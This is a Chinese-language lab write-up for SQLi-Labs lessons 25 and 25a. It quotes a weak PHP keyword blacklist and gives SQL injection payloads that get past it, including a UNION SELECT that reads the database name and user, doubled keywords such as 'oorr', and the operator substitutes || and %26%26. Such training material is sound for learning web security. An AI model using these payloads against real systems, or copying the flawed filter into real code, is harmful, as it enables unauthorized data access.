SQLi Labs Lesson25 & Lesson25a

来源:互联网 发布:玫瑰花 简笔画软件 编辑:程序博客网 时间:2024/06/04 19:23

Lesson - 25

GET - Error based - All your OR & AND belong to us - string single quote


本节的标题是 All your 'OR' and 'AND' belong to us.

查看源代码,发现:

$id= blacklist($id);function blacklist($id){$id= preg_replace('/or/i',"", $id);//strip out OR (non case sensitive)$id= preg_replace('/AND/i',"", $id);//Strip out AND (non case sensitive)return $id;}
blacklist函数将变量$id中的'or' 'and'不区分大小写的替换为空字符串。


但是可以用union

构造 ?id=0' union select 1,database(),user() --+


对于'or' 'and'可以利用blacklist函数,构造出‘or' ’and'

如:

?id ='0' oorr 1=1 --+

结果如图所示:

同理,and可以用 'anandd'


同时'or'还可以用 '||','and'用‘&&'。但是因为'&'为URL 中指定的参数间的分隔符,所以当'&'为参数时要,URLencode,用‘%26'代替。


Lesson - 25a

GET - Blind based - All your OR & AND belong to us - intiger based


本节关闭了错误回显:

$id= blacklist($id);$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";function blacklist($id){    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)        return $id;}

还是可以利用上面的方法绕过blacklist函数。

0 0